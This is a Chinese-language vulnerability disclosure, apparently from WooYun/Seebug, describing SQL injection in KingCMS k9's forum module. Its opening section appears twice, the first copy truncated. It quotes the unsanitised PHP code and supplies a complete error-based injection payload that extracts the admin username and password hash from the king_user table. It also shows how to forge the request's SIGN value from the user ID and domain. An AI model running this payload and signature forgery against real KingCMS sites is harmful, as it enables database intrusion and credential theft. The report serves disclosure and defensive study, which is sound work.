### 简要描述: KingCms最新版(k9)注入2枚 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 注入点:POST /apps/forum/index.php HTTP/1.1 当POST的参数cmd分别为topic和board时,会有两个地方存在注入,这里以cmd为topic为例进行说明 注入参数:where 问题文件在/apps/forum/index.php ``` function _create(){ $u=new user;$u->auth_role('forum_create'); $db=new db; $where=kc_get('where',0,1); $pid=kc_get('pid',2,1); $rn=kc_get('rn',2,1); $limit=($rn*($pid-1)).','.$rn.';'; $cmd=kc_get('cmd',array('board','topic')); $pcount=kc_get('pcount',2,1); $start=$rn*$pid>$pcount?$pcount:$rn*$pid; $file=new file; if($cmd=='topic'){ $res=$db->getRows('%s_forum_topic','*',$where,'',$limit); foreach($res as $rs){ //process file to rela path $rs['TEMPLATE']='forum/topic/'.$rs['template']; $file->create($rs['url'],$rs,'apps/forum/_topic.php'); } }else{ $res=$db->getRows('%s_forum_board','*',$where,'',$limit); foreach($res as $rs){...
### 简要描述: KingCms最新版(k9)注入2枚 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 注入点:POST /apps/forum/index.php HTTP/1.1 当POST的参数cmd分别为topic和board时,会有两个地方存在注入,这里以cmd为topic为例进行说明 注入参数:where 问题文件在/apps/forum/index.php ``` function _create(){ $u=new user;$u->auth_role('forum_create'); $db=new db; $where=kc_get('where',0,1); $pid=kc_get('pid',2,1); $rn=kc_get('rn',2,1); $limit=($rn*($pid-1)).','.$rn.';'; $cmd=kc_get('cmd',array('board','topic')); $pcount=kc_get('pcount',2,1); $start=$rn*$pid>$pcount?$pcount:$rn*$pid; $file=new file; if($cmd=='topic'){ $res=$db->getRows('%s_forum_topic','*',$where,'',$limit); foreach($res as $rs){ //process file to rela path $rs['TEMPLATE']='forum/topic/'.$rs['template']; $file->create($rs['url'],$rs,'apps/forum/_topic.php'); } }else{ $res=$db->getRows('%s_forum_board','*',$where,'',$limit); foreach($res as $rs){ $rs['TEMPLATE']='forum/board/'.$rs['template']; $file->create($rs['url'],$rs); } } $js="\$.kc_progress('#progress_{$cmd}',{$start},{$pcount});"; $js.=$start==$pcount ? "\$('.Submit').removeAttr('disabled');":"\$.kc_ajax({URL:'".FULLURL."apps/forum/index.php',CMD:'create',cmd:'$cmd',where:'$where',pid:".($pid+1).",rn:{$rn},pcount:{$pcount}});"; kc_ajax(array('JS'=>$js)); } $_POST['where']没有经过处理就进入了$db->getRows,去看看$db->getRows public function getRows($table,$insql='*',$where=null,$order=null,$limit=null,$group=null) { $table=str_replace('%s',DB_PRE,$table); $sql="SELECT $insql FROM $table "; $sql.= empty($where) ? '' : " WHERE $where"; $sql.= empty($group) ? '' : " GROUP BY $group"; $sql.= empty($order) ? '' : " ORDER BY $order"; $sql.= empty($limit) ? '' : " LIMIT $limit"; return $this->get($sql); } ``` 在执行sql语句之前,也没有过滤,这里就造成了注入。 Kingcms可以报错,因此 Payload: ``` jsoncallback=1&_=11&URL=http%3A%2F%2Flocalhost%2Fapps%2Fcontent%2Fcategroy.php&CMD=create&TID=1&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&pid=2&rn=2&cmd=topic&pcount=1&where=0 UNION SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,userpass)FROM king_user LIMIT 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a%23 ``` POST中的一个参数POST[‘SIGN’]的计算如下 ``` <?php $str="10000";//10000即POST参数中的USERID $str.="kingcms.com";//网站域名 $SIGN=md5($str); ?> ``` 注入成功,见下图 [<img src="https://images.seebug.org/upload/201503/112351005d2391ca202b5508bf6b235a944ccbc3.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/112351005d2391ca202b5508bf6b235a944ccbc3.jpg) ### 漏洞证明: 见 详细说明